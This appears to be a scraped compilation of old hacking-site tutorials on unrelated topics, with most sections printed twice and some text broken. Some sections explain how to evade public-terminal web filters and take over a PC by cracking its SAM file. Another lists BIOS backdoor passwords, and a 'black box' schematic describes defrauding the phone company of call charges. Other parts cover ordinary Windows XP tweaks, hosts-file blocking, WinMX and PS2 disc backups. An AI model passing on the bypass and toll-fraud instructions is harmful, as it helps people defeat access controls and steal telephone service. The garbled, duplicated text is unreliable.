Admin Access:
When all else fails, you can simply take over the PC and alter or delete the damn filter. This method varies according to the OS (operating system) you are dealing with. Please see “Hacking Windows NT” for more information. If this tutorial has been taken from information leak, then I will go as far as to say it involves booting the PC in another OS, copying the SAM file and cracking it using a program like saminside or LC5 rather than start a whole new topic within one.
There are several occasions where you will be at a public te How to bypass web filters
rminal, and require access to a particular website that is blocked for some reason or another. How to bypass these restrictions is a very common question, and will be covered here.
Lets pretend for a moment that the Internet is made up of 26 websites, A-Z. The web filter blocks your browser from accessing sites X-Z, but not sites A-W. Simply make the browser think you’re going to A-
W. There are a variety of ways to do this:
Proxy Servers:
This is a list of http proxies. These sites may not be up forever, so you may need to search for “free http proxy” or “public proxy servers” or other similar terms.
Proxy server lists:
• http://www.aliveproxy.com
• http://www.multiproxy.org
• http://www.publicproxyservers.com/index.html
• http://www.tehbox.com/proxy
• http://www.proxz.com
• http://www.proxy4free.com/index.html
• http://free-proxies.com
Now that you have a list of proxies, you would open IE (internet explorer) and click on Tools > Internet Options > Connections > LAN Settings > Advanced. Enter the address and port of one of the servers from the list in the proper area (http) and make sure the “use a proxy server for your LAN” option is selected. Remember to replace the proxy and port at your terminal to the original when you're done.
*Note: Some proxies listed may not work, and this method may decrease your surfing speed. By trying various entries, you’ll find one that works, or works faster.
The infamous translation trick:
Go to a web page translation site and use their services to “translate a page to English” thus accessing the blocked page through their trusted site.
You’ll notice that several translation sites are blocked, but by using less popular ones, this method can still be effective. Here is a list of some translation services. Again, these sites may not be up forever, so you may need to search for them.
• http://babelfish.altavista.com
• http://world.altavista.com
• http://translation.langenberg.com
• http://freetranslation.com/web.thm
Url Scripting:
Url scripting is the easiest method. It works on a select few web filters and is based on the same principal as the translation trick. By typing and address like “www.yahoo.com@www.restricted_site.com the filter will not go into effect as it recognizes the trusted site (in this case yahoo.com)
Other tricks:
Simply open the command prompt and type:
Ping restricted.com ? restricted.com obviously being the restricted site
At this point you can take down the IP address (ex. 216.109.124.73) and enter it into the browser. If access to the command prompt is also restricted, see “How to bypass restrictions to get to the command prompt.” If this article has been taken from information leak, then know that it involves anything from opening the browser, selecting view > source, then saving it as X.bat and opening it to opening a folder or browser and typing in the location of cmd.exe depending on the OS. I will not go into further, as this a completely different topic.
Use https://restrictedsite.com as referring to it as a secured site may confuse the filter.
Note: These are ancient methods that many new filters defend against, but still may be applicable in your situation. If not, a little history never hurt anyone.
Web based Proxies:
Another one of the easier, yet effective methods include web based proxies. These are simple in the fact that you just enter the restricted address and surf! Some of these have some restrictions, like daily usage limits, etc but you can also use another proxy (perhaps one that sucks, like a text only) to bypass their restrictions as well. Here is a list of some:
• http://proxify.com]http://proxify.com
• http://www.anonymizer.com/index.cgi]http://www.anonymizer.com/index.cgi
• http://www.guardster.com/]http://www.guardster.com/
• http://anonymouse.ws/anonwww.html]http://anonymouse.ws/anonwww.html
• http://www.the-cloak.com/login.html]http://www.the-cloak.com/login.html
• https://www.megaproxy.com/freesurf]https://www.megaproxy.com/freesurf
• http://www.anonymizer.ru]http://www.anonymizer.ru
• https://nadaily.com/cgi-bin/nph-proxyb.cgi]https://nadaily.com/cgi-bin/nph-proxyb.cgi
• http://www.userbeam.de/cgi-bin/nph-userbeam.cgi]http://www.userbeam.de/cgi-bin/nph-userbeam.cgi
• http://www.free2.surffreedom.com/nph-free.cgi]http://www.free2.surffreedom.com/nph-free.cgi
Proxy Programs:
There are many proxy programs that allow you to surf anonymously that are more or less based on the same topics we’ve covered here. I’ve added them just to cover the topic thoroughly:
• http://www.hotscripts.com/Detailed/28480.html]http://www.hotscripts.com/Detailed/28480.html
• http://www.inetprivacy.com/a4proxy/anonymous-grc.htm]http://www.inetprivacy.com/a4proxy/anonymous-grc.htm
• http://www.orangatango.com/home/index.ie.html]http://www.orangatango.com/home/index.ie.html
• http://www.steganos.com]http://www.steganos.com
• http://www.anonymization.net]http://www.anonymization.net ? toolbar that requires admin rights to install
Making your own CGI proxy server:
Making your own proxy server may come in handy, but I personally find that simply uploading a txt file/w a list of proxies to a free host makes for a much easier and headache free solution. If you don’t know PERL, there is code out there to help you set it up. Check out these sites for more info:
• http://httpbridge.sourceforge.net]http://httpbridge.sourceforge.net
• http://www.jmarshall.com/tools/cgiproxy]http://www.jmarshall.com/tools/cgiproxy
• http://www.manageability.org/blog/stuff/open-source-personal-proxy-servers-written-in-java/view]http://www.manageability.org/blog/stuff/op...en-in-java/view
Admin Access:
When all else fails, you can simply take over the PC and alter or delete the damn filter. This method varies according to the OS (operating system) you are dealing with. Please see “Hacking Windows NT” for more information. If this tutorial has been taken from information leak, then I will go as far as to say it involves booting the PC in another OS, copying the SAM file and cracking it using a program like saminside or LC5 rather than start a whole new topic within one.
How to Bypass BIOS Passwords
How to Bypass BIOS Passwords
BIOS passwords can add an extra layer of security for desktop and laptop computers. They are used to either prevent a user from changing the BIOS settings or to prevent the PC from booting without a password. Unfortunately, BIOS passwords can also be a liability if a user forgets their password, or changes the password to intentionally lock out the corporate IT department. Sending the unit back to the manufacturer to have the BIOS reset can be expensive and is usually not covered in the warranty. Never fear, all is not lost. There are a few known backdoors and other tricks of the trade that can be used to bypass or reset the BIOS
DISCLAIMER
This article is intended for IT Professionals and systems administrators with experience servicing computer hardware. It is not intended for home users, hackers, or computer thieves attempting to crack the password on a stolen PC. Please do not attempt any of these procedures if you are unfamiliar with computer hardware, and please use this information responsibly. LabMice.net is not responsible for the use or misuse of this material, including loss of data, damage to hardware, or personal injury.
Before attempting to bypass the BIOS password on a computer, please take a minute to contact the hardware manufacturer support staff directly and ask for their recommended methods of bypassing the BIOS security. In the event the manufacturer cannot (or will not) help you, there are a number of methods that can be used to bypass or reset the BIOS password yourself. They include:
Using a manufacturers backdoor password to access the BIOS
Use password cracking software
Reset the CMOS using the jumpers or solder beads.
Removing the CMOS battery for at least 10 minutes
Overloading the keyboard buffer
Using a professional service
Please remember that most BIOS passwords do not protect the hard drive, so if you need to recover the data, simply remove the hard drive and install it in an identical system, or configure it as a slave drive in an existing system. The exception to this are laptops, especially IBM Thinkpads, which silently lock the hard drive if the supervisor password is enabled. If the supervisor password is reset without resetting the and hard drive as well, you will be unable to access the data on the drive.
--------------------------------------------------------------------------------
Backdoor passwords
Many BIOS manufacturers have provided backdoor passwords that can be used to access the BIOS setup in the event you have lost your password. These passwords are case sensitive, so you may wish to try a variety of combinations. Keep in mind that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards. Laptops typically have better BIOS security than desktop systems, and we are not aware of any backdoor passwords that will work with name brand laptops.
WARNING: Some BIOS configurations will lock you out of the system completely if you type in an incorrect password more than 3 times. Read your manufacturers documentation for the BIOS setting before you begin typing in passwords
Award BIOS backdoor passwords:
ALFAROME ALLy aLLy aLLY ALLY aPAf _award AWARD_SW AWARD?SW AWARD SW AWARD PW AWKWARD awkward BIOSTAR CONCAT CONDO Condo d8on djonet HLT J64 J256 J262 j332 j322 KDD Lkwpeter LKWPETER PINT pint SER SKY_FOX SYXZ syxz shift + syxz TTPTHA ZAAADA ZBAAACA ZJAAADC 01322222
589589 589721 595595 598598
AMI BIOS backdoor passwords:
AMI AAAMMMIII BIOS PASSWORD HEWITT RAND AMI?SW AMI_SW LKWPETER A.M.I. CONDO
PHOENIX BIOS backdoor passwords:
phoenix, PHOENIX, CMOS, BIOS
MISC. COMMON PASSWORDS
ALFAROME BIOSTAR biostar biosstar CMOS cmos LKWPETER lkwpeter setup SETUP Syxz Wodj
OTHER BIOS PASSWORDS BY MANUFACTURER
Manufacturer Password
VOBIS & IBM merlin
Dell Dell
Biostar Biostar
Compaq Compaq
Enox xo11nE
Epox central
Freetech Posterie
IWill iwill
Jetway spooml
Packard Bell bell9
QDI QDI
Siemens SKY_FOX
TMC BIGO
Toshiba Toshiba
TOSHIBA BIOS
Most Toshiba laptops and some desktop systems will bypass the BIOS password if the left shift key is held down during boot
IBM APTIVA BIOS
Press both mouse buttons repeatedly during the boot
--------------------------------------------------------------------------------
Password cracking software
The following software can be used to either crack or reset the BIOS on many chipsets. If your PC is locked with a BIOS administrator password that will not allow access to the floppy drive, these utilities may not work. Also, since these utilities do not come from the manufacturer, use them cautiously and at your own risk.
Cmos password recovery tools 3.1
!BIOS (get the how-to article)
RemPass
KILLCMOS
--------------------------------------------------------------------------------
Using the Motherboard "Clear CMOS" Jumper or Dipswitch settings
Many motherboards feature a set of jumpers or dipswitches that will clear the CMOS and wipe all of the custom settings including BIOS passwords. The locations of these jumpers / dipswitches will vary depending on the motherboard manufacturer and ideally you should always refer to the motherboard or computer manufacturers documentation. If the documentation is unavailable, the jumpers/dipswitches can sometimes be found along the edge of the motherboard, next to the CMOS battery, or near the processor. Some manufacturers may label the jumper / dipswitch CLEAR - CLEAR CMOS - CLR - CLRPWD - PASSWD - PASSWORD - PWD. On laptop computers, the dipswitches are usually found under the keyboard or within a compartment at the bottom of the laptop.
Please remember to unplug your PC and use a grounding strip before reaching into your PC and touching the motherboard. Once you locate and rest the jumper switches, turn the computer on and check if the password has been cleared. If it has, turn the computer off and return the jumpers or dipswitches to its original position.
--------------------------------------------------------------------------------
Removing the CMOS Battery
The CMOS settings on most systems are buffered by a small battery that is attached to the motherboard. (It looks like a small watch battery). If you unplug the PC and remove the battery for 10-15 minutes, the CMOS may reset itself and the password should be blank. (Along with any other machine specific settings, so be sure you are familiar with manually reconfiguring the BIOS settings before you do this.) Some manufacturers backup the power to the CMOS chipset by using a capacitor, so if your first attempt fails, leave the battery out (with the system unplugged) for at least 24 hours. Some batteries are actually soldered onto the motherboard making this task more difficult. Unsoldering the battery incorrectly may damage your motherboard and other components, so please don't attempt this if you are inexperienced. Another option may be to remove the CMOS chip from the motherboard for a period of time.
Note: Removing the battery to reset the CMOS will not work for all PC's, and almost all of the newer laptops store their BIOS passwords in a manner which does not require continuous power, so removing the CMOS battery may not work at all. IBM Thinkpad laptops lock the hard drive as well as the BIOS when the supervisor password is set. If you reset the BIOS password, but cannot reset the hard drive password, you may not be able to access the drive and it will remain locked, even if you place it in a new laptop. IBM Thinkpads have special jumper switches on the motherboard, and these should be used to reset the system.
--------------------------------------------------------------------------------
Overloading the KeyBoard Buffer
On some older computer systems, you can force the CMOS to enter its setup screen on boot by overloading the keyboard buffer. This can be done by booting with the keyboard or mouse unattached to the systems, or on some systems by hitting the ESC key over 100 times in rapid succession.
--------------------------------------------------------------------------------
Jumping the Solder Beads on the CMOS
It is also possible to reset the CMOS by connecting or "jumping" specific solder beads on the chipset. There are too many chipsets to do a breakdown of which points to jump on individual chipsets, and the location of these solder beads can vary by manufacturer, so please check your computer and motherboard documentation for details. This technique is not recommended for the inexperienced and should be only be used as a "last ditch" effort.
--------------------------------------------------------------------------------
Using a professional service
If the manufacturer of the laptop or desktop PC can't or won't reset the BIOS password, you still have the option of using a professional service. Password Crackers, Inc., offers a variety of services for desktop and laptop computers for between $100 and $400. For most of these services, you'll need to provide some type of legitimate proof of ownership. This may be difficult if you've acquired the computer second hand or from an online auction.
BIOS passwords can add an extra layer of security for desktop and laptop computers. They are used to either prevent a user from changing the BIOS settings or to prevent the PC from booting without a password. Unfortunately, BIOS passwords can also be a liability if a user forgets their password, or changes the password to intentionally lock out the corporate IT department. Sending the unit back to the manufacturer to have the BIOS reset can be expensive and is usually not covered in the warranty. Never fear, all is not lost. There are a few known backdoors and other tricks of the trade that can be used to bypass or reset the BIOS
DISCLAIMER
This article is intended for IT Professionals and systems administrators with experience servicing computer hardware. It is not intended for home users, hackers, or computer thieves attempting to crack the password on a stolen PC. Please do not attempt any of these procedures if you are unfamiliar with computer hardware, and please use this information responsibly. LabMice.net is not responsible for the use or misuse of this material, including loss of data, damage to hardware, or personal injury.
Before attempting to bypass the BIOS password on a computer, please take a minute to contact the hardware manufacturer support staff directly and ask for their recommended methods of bypassing the BIOS security. In the event the manufacturer cannot (or will not) help you, there are a number of methods that can be used to bypass or reset the BIOS password yourself. They include:
Using a manufacturers backdoor password to access the BIOS
Use password cracking software
Reset the CMOS using the jumpers or solder beads.
Removing the CMOS battery for at least 10 minutes
Overloading the keyboard buffer
Using a professional service
Please remember that most BIOS passwords do not protect the hard drive, so if you need to recover the data, simply remove the hard drive and install it in an identical system, or configure it as a slave drive in an existing system. The exception to this are laptops, especially IBM Thinkpads, which silently lock the hard drive if the supervisor password is enabled. If the supervisor password is reset without resetting the and hard drive as well, you will be unable to access the data on the drive.
--------------------------------------------------------------------------------
Backdoor passwords
Many BIOS manufacturers have provided backdoor passwords that can be used to access the BIOS setup in the event you have lost your password. These passwords are case sensitive, so you may wish to try a variety of combinations. Keep in mind that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards. Laptops typically have better BIOS security than desktop systems, and we are not aware of any backdoor passwords that will work with name brand laptops.
WARNING: Some BIOS configurations will lock you out of the system completely if you type in an incorrect password more than 3 times. Read your manufacturers documentation for the BIOS setting before you begin typing in passwords
Award BIOS backdoor passwords:
ALFAROME ALLy aLLy aLLY ALLY aPAf _award AWARD_SW AWARD?SW AWARD SW AWARD PW AWKWARD awkward BIOSTAR CONCAT CONDO Condo d8on djonet HLT J64 J256 J262 j332 j322 KDD Lkwpeter LKWPETER PINT pint SER SKY_FOX SYXZ syxz shift + syxz TTPTHA ZAAADA ZBAAACA ZJAAADC 01322222
589589 589721 595595 598598
AMI BIOS backdoor passwords:
AMI AAAMMMIII BIOS PASSWORD HEWITT RAND AMI?SW AMI_SW LKWPETER A.M.I. CONDO
PHOENIX BIOS backdoor passwords:
phoenix, PHOENIX, CMOS, BIOS
MISC. COMMON PASSWORDS
ALFAROME BIOSTAR biostar biosstar CMOS cmos LKWPETER lkwpeter setup SETUP Syxz Wodj
OTHER BIOS PASSWORDS BY MANUFACTURER
Manufacturer Password
VOBIS & IBM merlin
Dell Dell
Biostar Biostar
Compaq Compaq
Enox xo11nE
Epox central
Freetech Posterie
IWill iwill
Jetway spooml
Packard Bell bell9
QDI QDI
Siemens SKY_FOX
TMC BIGO
Toshiba Toshiba
TOSHIBA BIOS
Most Toshiba laptops and some desktop systems will bypass the BIOS password if the left shift key is held down during boot
IBM APTIVA BIOS
Press both mouse buttons repeatedly during the boot
--------------------------------------------------------------------------------
Password cracking software
The following software can be used to either crack or reset the BIOS on many chipsets. If your PC is locked with a BIOS administrator password that will not allow access to the floppy drive, these utilities may not work. Also, since these utilities do not come from the manufacturer, use them cautiously and at your own risk.
Cmos password recovery tools 3.1
!BIOS (get the how-to article)
RemPass
KILLCMOS
--------------------------------------------------------------------------------
Using the Motherboard "Clear CMOS" Jumper or Dipswitch settings
Many motherboards feature a set of jumpers or dipswitches that will clear the CMOS and wipe all of the custom settings including BIOS passwords. The locations of these jumpers / dipswitches will vary depending on the motherboard manufacturer and ideally you should always refer to the motherboard or computer manufacturers documentation. If the documentation is unavailable, the jumpers/dipswitches can sometimes be found along the edge of the motherboard, next to the CMOS battery, or near the processor. Some manufacturers may label the jumper / dipswitch CLEAR - CLEAR CMOS - CLR - CLRPWD - PASSWD - PASSWORD - PWD. On laptop computers, the dipswitches are usually found under the keyboard or within a compartment at the bottom of the laptop.
Please remember to unplug your PC and use a grounding strip before reaching into your PC and touching the motherboard. Once you locate and rest the jumper switches, turn the computer on and check if the password has been cleared. If it has, turn the computer off and return the jumpers or dipswitches to its original position.
--------------------------------------------------------------------------------
Removing the CMOS Battery
The CMOS settings on most systems are buffered by a small battery that is attached to the motherboard. (It looks like a small watch battery). If you unplug the PC and remove the battery for 10-15 minutes, the CMOS may reset itself and the password should be blank. (Along with any other machine specific settings, so be sure you are familiar with manually reconfiguring the BIOS settings before you do this.) Some manufacturers backup the power to the CMOS chipset by using a capacitor, so if your first attempt fails, leave the battery out (with the system unplugged) for at least 24 hours. Some batteries are actually soldered onto the motherboard making this task more difficult. Unsoldering the battery incorrectly may damage your motherboard and other components, so please don't attempt this if you are inexperienced. Another option may be to remove the CMOS chip from the motherboard for a period of time.
Note: Removing the battery to reset the CMOS will not work for all PC's, and almost all of the newer laptops store their BIOS passwords in a manner which does not require continuous power, so removing the CMOS battery may not work at all. IBM Thinkpad laptops lock the hard drive as well as the BIOS when the supervisor password is set. If you reset the BIOS password, but cannot reset the hard drive password, you may not be able to access the drive and it will remain locked, even if you place it in a new laptop. IBM Thinkpads have special jumper switches on the motherboard, and these should be used to reset the system.
--------------------------------------------------------------------------------
Overloading the KeyBoard Buffer
On some older computer systems, you can force the CMOS to enter its setup screen on boot by overloading the keyboard buffer. This can be done by booting with the keyboard or mouse unattached to the systems, or on some systems by hitting the ESC key over 100 times in rapid succession.
--------------------------------------------------------------------------------
Jumping the Solder Beads on the CMOS
It is also possible to reset the CMOS by connecting or "jumping" specific solder beads on the chipset. There are too many chipsets to do a breakdown of which points to jump on individual chipsets, and the location of these solder beads can vary by manufacturer, so please check your computer and motherboard documentation for details. This technique is not recommended for the inexperienced and should be only be used as a "last ditch" effort.
--------------------------------------------------------------------------------
Using a professional service
If the manufacturer of the laptop or desktop PC can't or won't reset the BIOS password, you still have the option of using a professional service. Password Crackers, Inc., offers a variety of services for desktop and laptop computers for between $100 and $400. For most of these services, you'll need to provide some type of legitimate proof of ownership. This may be difficult if you've acquired the computer second hand or from an online auction.
how to burn quicker in windows xp
windows xp has burning software built in which can cause problems sometimes when burning with other programs.
you can turn windows xp burning tool off like this.
Go to "administrative tools" in the control panel.
In the "services" list, disable the IMAPI CD-Burning COM service.
you can turn windows xp burning tool off like this.
Go to "administrative tools" in the control panel.
In the "services" list, disable the IMAPI CD-Burning COM service.
How to build a black box
How to build a black box?
I found this tutorial quite a long time ago and I don't know if it still works. Nevertheless , it might be interresting to read, you might even learn something from it! I would have gladly given credit to it's author but won't since I have no idea who he is. So here is his tutorial that remained unchanged ( I hope!):
A BLACK BOX
is a device that is hooked up to your phone that fixes your phone so that when you get a call, the caller doesn't get charged for the call. This is good for calls up to 1/2 hour, after 1/2 hour the phone Co. gets suspicious, and then you can guess what happens.
What this little beauty does is keep the line voltage from dropping to 10v when you answer your fone. The line is instead kept at 36v and it will make the fone think that it is still ringing while your talking. The reason for the 1/2 hour time limit is that the
phone CO. thinks that something is wrong after 1/2 an hour of ringing.
All parts are available at Radio Shack. Using the least possible parts and arangement, the cost is $0.98 !!!! And that is parts for two of them! Talk about a deal! If you want to splurge then you can get a small PC board, and a switch. There are two
schematics for this box, one is for most normal fones. The second one is
for fones that don't work with the first. It was made for use with a Bell
Trimline touch tone fone.
** Schematic 1 for most fones **
** LED ON: BOX ON **
FROM >--------------------GREEN-> TO
LINE >--! 1.8k LED !---RED--> FONE
!--///--!>--!
! !
------>/<-------
SPST
Parts: 1 1.8k 1/2 watt resistor
1 1.5v LED
1 SPST switch
You may just have two wires which you connect together for the switch.
** Schematic 2 for all fones **
** LED ON: BOX OFF **
FROM >---------------GREEN-> TO
LINE >------- ---RED--> FONE
! LED !
-->/<--!>--
! !
---///---
1.8k
�Parts: 1 2 watt resistor
1 1.5v LED
1 DPST switch
Here is the PC board layout that I recommend using. It is neat and is very easy to hook up.
Schematic #1 Schematic #2
************** ****************
* * * ------- *
* ----- * * ! ! *
* ! ! * * ! *
* RESISTOR ! * * ! ! ! *
* ! ! * * ! ! / *
* -------- ! * * ! ! *
* ! ! * * !! / *
* --SWITCH-- * * ! ! *
* ! ! * * ! ! / *
L * ! ! * F L * ! ! ! * F
I>RED- -RED>O I>RED- ---RED>O
N>-----GREEN---->N N>-----GREEN------>N
E * h * E E * * E
************** ****************
Once you have hooked up all the parts, you must figure out what set of wires go to the line and which go to the fone. This is because of the fact that LED's must be put in, in a certain direction. Depending on which way you put the LED is what controls what wires are for the line & fone.
How to find out:
Hook up the box in one direction using one set offor line and the other for fone.
*NOTE* For Model I switch should be OFF.
*NOTE* For Model ][ switch should be set to side connecting the led.
Once you have hooked it up, then pick up the fone and see if the LED is on. If it is, the LED will be lit. If is doesn't light then switch the wires and try again. Once you know which are which then label them. *NOTE* - If neither directions worked then your
�lable the switch in its current position as BOX ON.
How to use it:
The purpose of this box is for poeple who call you not to pay so it would make
sence that it can only be used to receive! calls. When the box is *ON* then you may only recieve calls. Your fone will ring like normal and the LED on the box will flash. If you answer the fone now, then the LED will light and the caller will not be charged. Hang up the fone after you are done talking like normal. You will not be able to get a dial-tone or call when the box is on, so turn the box *OFF* for normal calls. I don't recommend that you leave it on all the time, as you don't want it to answer when Ma Bell calls!
Hope it brought something to those who read it.
XIII
numberXIII@Phreaker.net
I found this tutorial quite a long time ago and I don't know if it still works. Nevertheless , it might be interresting to read, you might even learn something from it! I would have gladly given credit to it's author but won't since I have no idea who he is. So here is his tutorial that remained unchanged ( I hope!):
A BLACK BOX
is a device that is hooked up to your phone that fixes your phone so that when you get a call, the caller doesn't get charged for the call. This is good for calls up to 1/2 hour, after 1/2 hour the phone Co. gets suspicious, and then you can guess what happens.
What this little beauty does is keep the line voltage from dropping to 10v when you answer your fone. The line is instead kept at 36v and it will make the fone think that it is still ringing while your talking. The reason for the 1/2 hour time limit is that the
phone CO. thinks that something is wrong after 1/2 an hour of ringing.
All parts are available at Radio Shack. Using the least possible parts and arangement, the cost is $0.98 !!!! And that is parts for two of them! Talk about a deal! If you want to splurge then you can get a small PC board, and a switch. There are two
schematics for this box, one is for most normal fones. The second one is
for fones that don't work with the first. It was made for use with a Bell
Trimline touch tone fone.
** Schematic 1 for most fones **
** LED ON: BOX ON **
FROM >--------------------GREEN-> TO
LINE >--! 1.8k LED !---RED--> FONE
!--///--!>--!
! !
------>/<-------
SPST
Parts: 1 1.8k 1/2 watt resistor
1 1.5v LED
1 SPST switch
You may just have two wires which you connect together for the switch.
** Schematic 2 for all fones **
** LED ON: BOX OFF **
FROM >---------------GREEN-> TO
LINE >------- ---RED--> FONE
! LED !
-->/<--!>--
! !
---///---
1.8k
�Parts: 1 2 watt resistor
1 1.5v LED
1 DPST switch
Here is the PC board layout that I recommend using. It is neat and is very easy to hook up.
Schematic #1 Schematic #2
************** ****************
* * * ------- *
* --
* ! ! * * !
* RESISTOR ! * * ! ! ! *
* ! ! * * ! ! / *
* -------- ! * * ! ! *
* ! ! * * !
* --SWITCH-- * * ! ! *
* ! ! * * ! ! / *
L * ! ! * F L * ! ! ! * F
I>RED- -RED>O I>RED- ---RED>O
N>-----GREEN---->N N>-----GREEN------>N
E * h * E E * * E
************** ****************
Once you have hooked up all the parts, you must figure out what set of wires go to the line and which go to the fone. This is because of the fact that LED's must be put in, in a certain direction. Depending on which way you put the LED is what controls what wires are for the line & fone.
How to find out:
Hook up the box in one direction using one set offor line and the other for fone.
*NOTE* For Model I switch should be OFF.
*NOTE* For Model ][ switch should be set to side connecting the led.
Once you have hooked it up, then pick up the fone and see if the LED is on. If it is, the LED will be lit. If is doesn't light then switch the wires and try again. Once you know which are which then label them. *NOTE* - If neither directions worked then your
�lable the switch in its current position as BOX ON.
How to use it:
The purpose of this box is for poeple who call you not to pay so it would make
sence that it can only be used to receive! calls. When the box is *ON* then you may only recieve calls. Your fone will ring like normal and the LED on the box will flash. If you answer the fone now, then the LED will light and the caller will not be charged. Hang up the fone after you are done talking like normal. You will not be able to get a dial-tone or call when the box is on, so turn the box *OFF* for normal calls. I don't recommend that you leave it on all the time, as you don't want it to answer when Ma Bell calls!
Hope it brought something to those who read it.
XIII
numberXIII@Phreaker.net
How To Boot Xp Faster (updated)
First of all, this tweak only apply to those who only have one HDD on their primary IDE channel (nothing else on device 0 or 1) and a CD-ROM and/or DVD-ROM on the secondary IDE channel. Each time you boot Windows XP, there's an updated file called NTOSBOOT-*.pf who appears in your prefetch directory (%SystemRoot%Prefetch) and there's no need to erease any other files as the new prefetch option in XP really improves loading time of installed programs. We only want WindowsXP to boot faster and not decrease its performance. Thanks to Rod Cahoon (for the prefetch automation process...with a minor change of mine) and Zeb for the IDE Channel tweak as those two tricks, coupled together with a little modification, result in an EXTREMELY fast bootup:
1. Open notepad.exe, type "del c:windowsprefetch tosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:
2. From the Start menu, select "Run..." & type "gpedit.msc".
3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.
4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".
5. Click "OK", "Apply" & "OK" once again to exit.
6. From the Start menu, select "Run..." & type "devmgmt.msc".
7. Double click on "IDE ATA/ATAPI controllers"
8. Right click on "Primary IDE Channel" and select "Properties".
9. Select the "Advanced Settings" tab then on the device 0 or 1 that doesn't have 'device type' greyed out select 'none' instead of 'autodetect' & click "OK".
10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.
11. Reboot your computer.
WindowsXP should now boot REALLY faster.
1. Open notepad.exe, type "del c:windowsprefetch tosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:
2. From the Start menu, select "Run..." & type "gpedit.msc".
3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the right window.
4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".
5. Click "OK", "Apply" & "OK" once again to exit.
6. From the Start menu, select "Run..." & type "devmgmt.msc".
7. Double click on "IDE ATA/ATAPI controllers"
8. Right click on "Primary IDE Channel" and select "Properties".
9. Select the "Advanced Settings" tab then on the device 0 or 1 that doesn't have 'device type' greyed out select 'none' instead of 'autodetect' & click "OK".
10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.
11. Reboot your computer.
WindowsXP should now boot REALLY faster.
How To Block Websties Without Software, block websites
How To Block Websties Without Software, block websites
Steps:
1] Browse C:\WINDOWS\system32\drivers\etc
2] Find the file named "HOSTS"
3] Open it in notepad
4] Under "127.0.0.1 localhost" Add 127.0.0.2 www.sitenameyouwantblocked.com , and that site will no longer be accessable.
5] Done!
-So-
127.0.0.1 localhost
127.0.0.2 www.blockedsite.com
-->www.blockedsite.com is now unaccessable<--
For every site after that you want to add, just add "1" to the last number in the internal ip (127.0.0.2) and then the addy like before.
IE: 127.0.0.3 www.blablabla.com
127.0.0.4 www.blablabla.com
127.0.0.5 www.blablabla.com
etc
Steps:
1] Browse C:\WINDOWS\system32\drivers\etc
2] Find the file named "HOSTS"
3] Open it in notepad
4] Under "127.0.0.1 localhost" Add 127.0.0.2 www.sitenameyouwantblocked.com , and that site will no longer be accessable.
5] Done!
-So-
127.0.0.1 localhost
127.0.0.2 www.blockedsite.com
-->www.blockedsite.com is now unaccessable<--
For every site after that you want to add, just add "1" to the last number in the internal ip (127.0.0.2) and then the addy like before.
IE: 127.0.0.3 www.blablabla.com
127.0.0.4 www.blablabla.com
127.0.0.5 www.blablabla.com
etc
HOW TO BLOCK PEOPLE ON WINMX WHO SHARE NOTHING
Some people seem to think our network is a kind of a store a they just pick what they want without sharing anything!
(and other considere our net as a schoolyard where one "trade"... Childish!)
*********************
You can help everybody getting rid of them by boycotting them that way:
You "browse" each uploading user.
** If he/she shares more than, say, a hundred files (and NOT in the WinMx directory only, putting them elsewhere and unshared when entirely downloaded !!!), OK.
NB: a hundred is not a lot but 1- we don't all have a large HDD and some files are big 2- when you begin...!
** If not:
You can send a message to him/her to ask why there is no real share, or not at all, for they can have forgotten to do so: give them a chance! The first time, I didn't understand that I had to choose the shared files types, so I shared nothing, unwillingly. Somebody told it to me in a message.
If no answer and/or still no shared file, you can exclude the selfish beast:
(Thanks to dwhite who gave the modus operandi on the WinMx net)
To block somebody from downloading, add the name to your HOTLIST (right-click the name then "Add to hotlist") then to your IGNORE list.
You won't receive any messages nor will they enter your queue, during that session at least.
********************
On the contrary, you can help people who share a lot by starting the tranfer when they are in your queue, or give a higher bandwith priority...
(and other considere our net as a schoolyard where one "trade"... Childish!)
*********************
You can help everybody getting rid of them by boycotting them that way:
You "browse" each uploading user.
** If he/she shares more than, say, a hundred files (and NOT in the WinMx directory only, putting them elsewhere and unshared when entirely downloaded !!!), OK.
NB: a hundred is not a lot but 1- we don't all have a large HDD and some files are big 2- when you begin...!
** If not:
You can send a message to him/her to ask why there is no real share, or not at all, for they can have forgotten to do so: give them a chance! The first time, I didn't understand that I had to choose the shared files types, so I shared nothing, unwillingly. Somebody told it to me in a message.
If no answer and/or still no shared file, you can exclude the selfish beast:
(Thanks to dwhite who gave the modus operandi on the WinMx net)
To block somebody from downloading, add the name to your HOTLIST (right-click the name then "Add to hotlist") then to your IGNORE list.
You won't receive any messages nor will they enter your queue, during that session at least.
********************
On the contrary, you can help people who share a lot by starting the tranfer when they are in your queue, or give a higher bandwith priority...
How To Backup Ps2 Games
Hi guys...here I found a tutorial of another Foum:
INFO: Text didn't write by me!
Okay, these are some methods to backup PS2 titles and Xbox titles, in order to play a backup you need a modchip of some sort, I have also included a tutorial on boot methods. Follow any one of these instructions to fit your needs. You can tell what format the PS2 title is by looking at the written side of the disc, DVD's are Silver and CD's are Purple. The DVD backup methods here consist of reading the image to the hard drive then burning it to the media for an easier backup, this depends on your hardware and it?s setup. I say that because the proper setup would be to have the Reader and Writer on separate IDE cables. This allows no cross information when doing Disc to Disc/On the fly copying. But, since most people would not know how to check or fix this, I suggest reading the image to your Hard Drive and then burning from there. *A little useful trick*, If the DVD backup "image" is small enough in size you can fit it onto a CD-R (80 minute or larger if need be) instead of using a more expensive DVD-R. I have done this succesfully using Prassi and the first tutorial for it below. In addition a DVD Movie backup will play on a PS2/Xbox without a chip. As I get more info I will update. Dexter
PS1/PS2 CD backup tutorials
Using CloneCD (v4.x.xx) for PS1/PS2
1. Start CloneCD
2. Select "Copy CD"
3. Select your Reader, press Next
4. Select "Game CD", press Next
5. Select/Deselect your options here (on the fly, cue or delete) then press Next
6. Select your Writer, press Next
7. Select your burn speed and "Game CD"
8. Press "OK" to begin
Using Alcohol 120% for PS1/PS2
1. Start Alcohol 120%
2. Select ?Copy Wizard?
3. Select your Reader & Read Speed
